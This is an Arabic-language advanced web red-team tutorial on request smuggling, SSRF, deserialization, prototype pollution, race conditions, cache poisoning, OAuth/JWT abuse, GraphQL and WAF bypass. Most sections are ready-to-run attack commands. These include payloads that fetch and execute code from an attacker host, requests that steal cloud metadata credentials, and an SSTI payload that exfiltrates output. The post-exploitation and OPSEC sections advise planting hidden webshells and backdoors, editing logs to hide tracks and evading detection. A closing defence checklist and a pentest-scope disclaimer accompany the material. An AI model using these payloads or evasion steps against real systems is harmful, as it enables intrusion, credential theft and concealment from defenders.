الفرق الحمراء — الهجومخبير180mL65

Web Red Team Deep — لما الفريق الأحمر بيشتغل بجد

سلاسل استغلال متقدمة و blind techniques و WAF bypass

#SSRF#Smuggling#Deserialization#OAuth#WAF Bypass#Race

مقدمة — الويب مش OWASP Top 10

تشبيه — شرح مبسط
انت بتفكر في الويب إزاي؟ لستة ثغرات (SQLi، XSS، CSRF) بتحفظها وبتجرّبها على كل endpoint؟ ده تفكير على ادهم. كده انت في 2014. المحترف بيشوف الويب كـ طبقات بتتفاعل بطرق متوقّعهاش حد: Browser ↔ CDN ↔ WAF ↔ Load Balancer ↔ Reverse Proxy ↔ App ↔ Cache ↔ Queue ↔ DB ↔ Microservices ↔ S3. الـ 0day الحقيقي مش في طبقة واحدة. هو في الخلاف بين طبقتين على إزاي يفهموا نفس الـ byte. اللي مش بياخد باله من الفجوة دي، مش هيلاقي حاجة محترمة. هيقعد يضرب بايلودات على parameters زي اللي بيرمي صنّارة في حمّام السباحة.
قانوني — نطاق pentest بس
كل اللي هنا بيتطبّق على أهداف معاها تفويض مكتوب صريح، أو bug bounty جوه scope معلن، أو في الـ lab بتاعك. خارج ده = جريمة. مفيش منطقة رمادية، خلّيك واضح مع نفسك.

الدرس ده بيفترض إنك متمكن من OWASP Top 10 خلاص. هنا بنروح للسكة اللي orange.tw وsnyff وalbinowax وJames Kettle ساكنين فيها: request smuggling مركّب، prototype pollution → RCE، deserialization gadget chains، SSRF عن طريق cloud metadata، race conditions بـ single-packet، OAuth abuse، وWAF bypass عن طريق parser differential.

مثال واقعي: في 2021، Orange Tsai كسر ProxyShell على Exchange بسلسلة من 3 ثغرات — كل واحدة لوحدها "مش مهمة"، مع بعض = pre-auth RCE على ربع الإنترنت. ده شغل اللي بيفهم الطبقات، مش اللي بيحفظ payloads.

غلطات الـ junior في web red team
  • بيرمي Nuclei بكل الـ templates على الهدف من غير ما يفهم — الـ WAF بيشتعل، الـ blue team بيتنبّه، والعملية اتحرقت في 5 دقائق.
  • بيلاقي SSRF صغيّرة ويبلّغها — كان ممكن يستغلّها للوصول للـ IMDS ويحوّلها cloud takeover. Severity من "low" لـ "critical" قرار صياغة.
  • بيستخدم burpcollaborator.net في عمليات حساسة — اسم النطاق ده محظور في معظم بيئات الـ enterprise. استضِف interactsh عندك.
  • بيلاقي 1 ثغرة ويوقف — variant analysis: نفس النمط هيكون في 5 endpoints تانية على الأقل.

منهجية Red Team للويب — قبل الاستغلال

01
رسم خريطة الـ stack

قبل ما ترمي ضربة واحدة، ارسم الـ stack: مين الـ CDN؟ Cloudflare ولا Akamai ولا Fastly؟ مين الـ WAF؟ مين الـ origin server؟ ورا origin في load balancer؟ التطبيق Java ولا Node ولا Python ولا Go ولا .NET؟ كل إجابة بتفتحلك فئة ثغرات وبتقفل تانية. الاستطلاع هو نص اللعبة.

bash
# أساسيات
curl -sI https://target | head -30          # Server, X-Powered-By, CF-Ray, Via
nslookup target                               # IP، CNAME، Anycast؟
whatweb -a 4 https://target
wafw00f https://target
# هل الـ origin مكشوف؟
shodan search ssl:"target.com" -c 200          # أو crt.sh + scan IPs مباشرة
02
بصمة الـ parser stack

الـ HTTP parser اللي شغال على الـ CDN ممكن يفهم الـ Content-Length بطريقة، والـ origin يفهمها بطريقة تانية. الفرق ده هو أصل الـ request smuggling. ابعت طلبات malformed خفيفة وراقب الفرق في الردود:

bash
# طلب بـ Content-Length و Transfer-Encoding معاً
printf 'POST / HTTP/1.1\r\nHost: target\r\nContent-Length: 6\r\nTransfer-Encoding: chunked\r\n\r\n0\r\n\r\nGGG' | \
  ncat --ssl target 443
# اختلاف الردود = الـ stack vulnerable لـ desync
03
كشف الأسطح المخفية
bash
# مسارات admin، debug، API قديم
ffuf -u https://target/FUZZ -w SecLists/Discovery/Web-Content/raft-large-words.txt -mc 200,301,403
# JS bundles قد تكشف endpoints
linkfinder -i 'https://target/static/*.js' -o cli
# parameter discovery
arjun -u https://target/api/v2/users
# subdomain takeover
subzy run --targets subs.txt

HTTP Request Smuggling — قلب أبحاث 2019-2026

تشبيه — شرح مبسط
تخيل إن الـ CDN بيقرا "ده طلب واحد طوله 100 byte"، والـ origin بيقرا "دول طلبين". الـ bytes الزيادة عند الـ CDN بتبقى بداية طلب الضحية اللي جاي. إنت بتكتب جزء من طلب شخص تاني — بتختطف جلسات، بتسرق cookies، بتعدّي WAF. مش هزار. - طب يعني الـ CDNs الكبيرة مش بتظبط ده يا حضرتك؟؟ كنت مستنيك تسأل السؤال ده يا مستجد. بنسبة 99% بيظبطوا الحاجات اللي محدش لاقي فيها bug من 5 سنين. اللي مش بيظبطوه هو اللي albinowax بينشره كل سنة في DEF CON. والـ origin اللي ورا الـ CDN؟ ده عالم تاني خالص.
CL.TE الكلاسيكي
http
POST / HTTP/1.1
Host: target
Content-Length: 13
Transfer-Encoding: chunked

0

SMUGGLED

CDN يستخدم CL=13 → يمرر كل شيء. Origin يستخدم TE=chunked → يقرأ "0\\r\\n\\r\\n" كنهاية، و SMUGGLED يصبح بداية الطلب التالي.

TE.CL
http
POST / HTTP/1.1
Host: target
Content-Length: 3
Transfer-Encoding: chunked

8
SMUGGLED
0

العكس — CDN يأخذ TE، origin يأخذ CL. شائع مع HAProxy/Apache.

H2.CL — HTTP/2 desync

في HTTP/2 لا توجد Content-Length — لكن CDN قد يحوّل لـ HTTP/1.1 و يضيف CL خاطئة. ابعث H2 frame مع CL مكذوب → desync حقيقي.

bash
# Burp HTTP Request Smuggler extension
# أو nghttp2 لإرسال frames مخصصة
nghttp -v --header=':method: POST' --header='content-length: 0' \
  https://target -d 'XGGG'
Single-packet desync (2024+)

كشف albinowax: HTTP/1.1 keep-alive + 0.CL يعطي smuggling حتى عبر CDNs ترفض CL/TE. التحدي = توقيت TCP packet boundary.

استغلال متقدم بعد إثبات desync
  • سرقة Authorization headers: smuggle طلب تحت اسم ضحية، اخزن الرد المعكوس في cache.
  • Cache poisoning: اجعل CDN يخزن صفحتك الخبيثة باسم URL شرعي.
  • Internal endpoint bypass: smuggle طلب بـ Host: localhost أو IP داخلي — يصل لـ admin APIs المحجوبة من الخارج.
  • Stored XSS via smuggle: استبدل response لمستخدم آخر → JS تحت origin الموقع.

SSRF متقدم — أكثر من جلب URL

تشبيه — شرح مبسط
SSRF = إنت بتخلي السيرفر يخبط على الباب نيابة عنك. السيرفر جوه الشبكة بيثق في أصحابه: cloud metadata API، Redis، databases، internal APIs. ضربة SSRF واحدة = pivot لـ ENV كاملة. الباب اللي إنت متقفل قدامك، السيرفر مفتوحله.
AWS IMDS — لا يزال يعمل ضد IMDSv1
bash
# إذا التطبيق يجلب URL من user input
curl 'https://target/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/'
# الاسم → الـ creds
curl 'https://target/fetch?url=http://169.254.169.254/latest/meta-data/iam/security-credentials/ROLE_NAME'
# AccessKeyId + SecretAccessKey + Token → الآن أنت EC2 instance
GCP / Azure — مختلفة قليلاً
bash
# GCP — تتطلب header
curl -H 'Metadata-Flavor: Google' \
  'http://169.254.169.254/computeMetadata/v1/instance/service-accounts/default/token'
# Azure
curl -H 'Metadata: true' \
  'http://169.254.169.254/metadata/identity/oauth2/token?api-version=2018-02-01&resource=https://management.azure.com/'

إذا التطبيق يحجب IP literal، جرّب http://169.254.169.254.nip.io، DNS rebinding، أو IPv6 [::ffff:a9fe:a9fe].

Blind SSRF عبر التوقيت + DNS
bash
# لا ترى الرد؟ استخدم out-of-band
curl 'https://target/api?webhook=http://attacker.burpcollab.net/x'
# أو DNS-only: تحفيز التطبيق على resolve لـ subdomain فريد
curl 'https://target/api?host=$(uuidgen).attacker.com'
# سجل DNS hits → SSRF أُكد
Gopher / Redis SSRF
bash
# لو SSRF يقبل أي scheme
curl "https://target/fetch?url=gopher://10.0.0.5:6379/_*1%0d%0a%248%0d%0aflushall%0d%0a..."
# تركيب أوامر Redis كاملة → كتابة مفتاح SSH أو cron job

Deserialization — RCE من سلسلة gadget

تطبيقات Java/PHP/Python/.NET/Ruby اللي بتعمل deserialize لـ input غير موثوق دي نقطة RCE كلاسيكية. الفكرة: مش بتشغّل الكود مباشرة — لأ، بتبني سلسلة من استدعاءات الـ getter/setter/magic methods (اسمها gadget chain) بتنتهي عند Runtime.exec أو system(). السلسلة دي هي ذكاء الـ exploit.

Java — ysoserial
bash
java -jar ysoserial.jar CommonsCollections5 'curl http://attacker/x|sh' > p.bin
curl -X POST https://target/api/object \
  -H 'Content-Type: application/x-java-serialized-object' \
  --data-binary @p.bin

Gadgets: CommonsCollections1-7, Spring1-2, Hibernate1-2, JRMPClient. اختر بناءً على dependencies الموجودة.

.NET — ysoserial.net
bash
ysoserial.exe -f BinaryFormatter -g TypeConfuseDelegate \
  -c "powershell IEX(IWR http://attacker/p.ps1)" -o base64
# ViewState أو Session
curl 'https://target/Default.aspx' -d "__VIEWSTATE=<base64>"
PHP — phpggc
bash
phpggc -u Laravel/RCE9 system "id" | base64 -w0
# طبق على endpoint يعمل unserialize() على cookie أو body
Python — pickle
python
import pickle, base64, os
class P:
    def __reduce__(self):
        return (os.system, ('curl http://attacker/x|sh',))
print(base64.b64encode(pickle.dumps(P())).decode())

Prototype Pollution — JS من XSS إلى RCE

تشبيه — شرح مبسط
في JavaScript كل object بيرث من Object.prototype. لو قدرت تعدّل في __proto__، إنت بتغيّر سلوك كل object في التطبيق — حتى الكائنات اللي لسه متعملتش. على السيرفر (Node.js)، ده بيوصلك لـ RCE من غير ما حد ياخد باله.
bash
# Client-side
curl 'https://target/api/merge?__proto__[isAdmin]=true'
# الآن أي {} = isAdmin: true

# Server-side Node.js → RCE
# لو التطبيق يستخدم child_process.spawn أو render template
curl -X POST https://target/api/profile \
  -H 'Content-Type: application/json' \
  --data '{"__proto__":{"shell":"/bin/sh","argv0":"-c","NODE_OPTIONS":"--inspect-brk=0.0.0.0:9229"}}'
# عند أول spawn → debugger مكشوف → CDP RCE
Gadgets معروفة
  • handlebars/pug/ejs: pollute template helpers → SSTI → RCE.
  • express: pollute settings.view → render path traversal.
  • NODE_OPTIONS: pollute env via process.env.NODE_OPTIONS → debugger inject.

Race Conditions — Single-Packet Attack (Kettle 2023)

تشبيه — شرح مبسط
طلبين متطابقين بيوصلوا قبل ما الأول يخلّص الـ check → نفس العملية بتتنفذ مرتين. كلاسيكياً ده محتاج توقيت دقيق. Kettle أثبت إنك تقدر تبعت 20-30 طلب في TCP packet واحد → كلهم بيوصلوا في نفس الـ millisecond. اللعبة كانت ضد الراتر، دلوقتي مع الراتر.
bash
# Burp Suite "Send group in single packet"
# أو turbo-intruder script
def queueRequests(target, wordlists):
    engine = RequestEngine(endpoint=target.endpoint, concurrentConnections=1, requestsPerConnection=30, pipeline=False)
    for i in range(30):
        engine.queue(target.req)
engine.openGate()  # يطلق كل الطلبات معاً
استغلالات حقيقية
  • كوبون مرة واحدة يُطبّق 30 مرة → خصم 100% من السلة.
  • تحويل رصيد — استنزاف double-spending.
  • OTP — 6 أرقام × عدد محاولات على جلسات متعددة في نفس الميلي ثانية → bypass rate-limit.
  • دعوة مستخدم لمساحة عمل مدفوعة → 30 invite بـ نفس الـ token.

Cache Poisoning — تسليح CDN

http
# CDN يحدد الـ cache key من URL + بعض headers فقط
# لو التطبيق يعكس X-Forwarded-Host في الرد:
GET / HTTP/1.1
Host: target.com
X-Forwarded-Host: attacker.com

# Response: <link href="//attacker.com/style.css">
# CDN يخزن هذا الرد لكل الزوار التاليين على /
# = stored XSS عبر cache على homepage

التقنية الأقوى من دي: Cache Deception. /profile/x.css — التطبيق بيقدّم الـ profile (بيتجاهل .css)، الـ CDN بيخزّنه كأنه static. أي زائر هييجي بعدك هيشوف ملفك الشخصي. كارثة بصمت.

OAuth / OIDC — كيف تكسر تسجيل الدخول

  1. Open redirect على redirect_uri: إذا التطبيق يقبل redirect_uri=https://app.com.attacker.com → تصل code للمهاجم.
  2. Authorization code injection: ضحية يولّد code، أنت تُسلّمه لـ session جلسة أخرى → استلاء على حساب.
  3. state parameter مفقود → CSRF على ربط حسابات.
  4. JWT alg=none أو alg=HS256 مع public key كـ secret: jwt_tool -X i.
  5. kid/jku/x5u injection: أشر لـ JWKS مسيطَر عليه → JWT يثبَت بمفتاحك.
  6. Refresh token leakage في referer أو localStorage على XSS.
  7. PKCE bypass: لو السيرفر يقبل code بدون code_verifier → استلاء code → access.
bash
# JWT tool — اختبر الكل دفعة
jwt_tool -t https://target/api -rh "Authorization: Bearer JWT" -M at
# ابحث عن Confused Deputy: JWT signed by IdP A مقبول في app B

GraphQL — جبهة محدش فاكرها

graphql
# 1) introspection غالباً مفتوح حتى في prod
curl -X POST https://target/graphql -H 'Content-Type: application/json' \
  -d '{"query":"{__schema{types{name fields{name}}}}"}'

# 2) Batching attacks → bypass rate-limit على login
{"query":"mutation { l1: login(u:\"a\",p:\"1\"){t} l2: login(u:\"a\",p:\"2\"){t} ... l1000: login(...) }"}

# 3) Field-level IDOR
{ user(id: 99) { email passwordHash } }   # الـ resolver لا يفحص ownership

# 4) Nested query DoS
{ user { friends { friends { friends { ...×10 } } } } }

WAF Bypass — معركة الـ parser

الـ WAF بيشغّل regex على اللي هو فاهمه. التطبيق فاهم حاجة مختلفة شوية. الفرق ده هو سطح الـ bypass. اللعبة كلها في الـ parser differential.

ترميز مزدوج
bash
# WAF يفك URL-encode مرة. التطبيق (PHP/.NET) قد يفك مرتين.
?id=1%2527%2520OR%25201=1
# %25 → % → %27 → '
Mixed case + comments
sql
UnIoN/**/SeLeCt/**/1,2,3
# SQL parsers يقبلون كل التوليفات
JSON in URL param
bash
# WAF يفحص as URL، التطبيق يـ JSON.parse
?filter={"$gt":""}   # MongoDB injection
Body smuggling
bash
# Content-Type: text/plain → WAF يتجاهل، التطبيق يقرأ كـ JSON
curl -H 'Content-Type: text/plain' --data '{"role":"admin"}' \
  https://target/api/profile
Unicode normalization
bash
# K (FULLWIDTH K) يصبح K بعد NFKC
?cmd=%EF%BC%AB %EF%BC%A5 %EF%BC%92  # Kerberos? K E 2 ...
# مفيد ضد regex على ASCII فقط
HTTP/2 pseudo-headers

WAFs قديمة لا تفحص :authority بنفس صرامة Host. حقن قيم مختلفة → الـ origin يقرأ غير ما يقرأه WAF.

Blind exploitation — عندما لا ترى شيئاً

  1. OOB (Out-of-Band): Burp Collaborator، interactsh، DNS+HTTP+SMTP. كل subdomain فريد = مؤشر.
  2. Time-based: SLEEP(5) في SQLi، setTimeout في NoSQL، thread.sleep في Java SSTI.
  3. Boolean-based: لاحظ تغيّر طول الرد، عدد الأسطر، أو وجود/غياب كلمة معينة.
  4. Side-channel timing: hash comparison بدون constant-time → تخمين byte-by-byte.
  5. Cache-based: عملية تكلفتها cache miss تكشف وجود/عدم وجود قيمة.
bash
# مثال blind SSTI Jinja2 مع OOB
curl 'https://target/render?name={{config.__class__.__init__.__globals__["os"].popen("curl http://OOB/?$(id)").read()}}'

Post-Exploitation على الويب — بعد RCE

  1. اقرأ env vars فوراً: cat /proc/self/environ, env. DB credentials، AWS keys، JWT secrets.
  2. ابحث عن .env / config.yaml / appsettings.json داخل WORKDIR.
  3. K8s؟ cat /var/run/secrets/kubernetes.io/serviceaccount/token — قد يكون لك RBAC قوي.
  4. Cloud metadata من container: نفس IMDS يعمل من داخل pod غير مقيد.
  5. SSH keys في home، authorized_keys، known_hosts → خريطة pivot.
  6. قاعدة بيانات: استخرج users + password hashes + session tokens. المستخدمون يعيدون استخدام كلمات السر.
  7. زرع backdoor صامت: webshell مخفي في endpoint موجود (مش ملف جديد). أو git hook، أو cron.
  8. غطِّ آثارك: لا تنفّذ rm -rf /var/log — ذلك جرس إنذار. عدّل سجلات محددة.

OPSEC للمهاجم على الويب

  • متستخدمش الـ IP بتاع بيتك أبداً. VPN → VPS → target. ولو ينفع، CDN-fronted callback.
  • الـ User-Agent يطابق جمهور الهدف. متبعتش python-requests/2.28 — ده زي ما تقول "أهلاً أنا روبوت".
  • ابعد عن أنماط الفحص الجماعي. Nuclei بكل الـ templates بيشعل الـ WAF فوراً. اشتغل template by template مع --rate-limit 5.
  • تأخير يدوي على الإجراءات الحرجة. مفيش إنسان بيعمل 100 request في الثانية.
  • خبّي الـ payload في حقل مش بيتسجّل. كتير من التطبيقات بتسجّل الـ query string بس — استخدم الـ body أو الـ cookie.
  • متستخدمش burpcollaborator.net مباشرة في العمليات الحساسة. استضيف interactsh على دومين خاص بيك.
  • تنظيف post-exploitation: كل ملف رفعته، كل log عملته، كل حساب أضفته — وثّقه ثم شيله. حياتك المهنية في الترتيب.

معامل تطبيقية — تعلّم بالتجربة

  • PortSwigger Web Security Academy — أفضل مرجع تفاعلي مجاني.
  • HackTheBox / TryHackMe — مسارات web من الأساسي للخبير.
  • Bug bounty على HackerOne / Bugcrowd — برامج VDP بدون مكافأة لكنها قانونية للتدريب.
  • OWASP Juice Shop / DVWA / WebGoat — معامل محلية.
  • كتاب The Web Application Hacker's Handbook — قديم لكنه أساس لا غنى عنه.
  • أبحاث James Kettle / Orange Tsai / Sam Curry — اقرأ كل ما يكتبون.

الحماية — مرجع سريع

حاجة واحدة لكل تقنية
  • Smuggling: HTTP/2 end-to-end، disable downgrade على CDN، reject ambiguous CL/TE.
  • SSRF: قائمة بيضاء صريحة للـ hosts، حظر IP private + link-local + IMDS، IMDSv2 إجباري.
  • Deserialization: لا تـ deserialize untrusted. لو لازم — JSON فقط مع schema validation.
  • Prototype pollution: Object.freeze(Object.prototype) + libraries حديثة.
  • Race: idempotency keys، DB row locks، single-flight على العمليات الحرجة.
  • Cache: cache-key يشمل كل الـ input headers، لا تخزّن responses بـ Vary غامض.
  • OAuth: PKCE إجباري، state إجباري، redirect_uri exact match.
  • GraphQL: عطّل introspection في prod، depth/complexity limits، per-field auth.
  • WAF: layered defense — WAF + input validation داخل التطبيق + output encoding.
الخلاصة الناشفة
المحترف في الويب مش اللي عنده payloads أكتر. اللي عنده فهم أعمق للـ stack. اللي بيقرا RFCs. اللي بيتفرّج على الفرق بين parsers ويفكّر "إيه اللي ممكن يتعمل في الفجوة دي؟". ده اللي بيلاقي الـ 0days. الباقي بيستخدمها. اكتبها على كشكولك: اللعبة في الفجوة بين طبقتين، مش في طبقة واحدة. اوعى تنسى.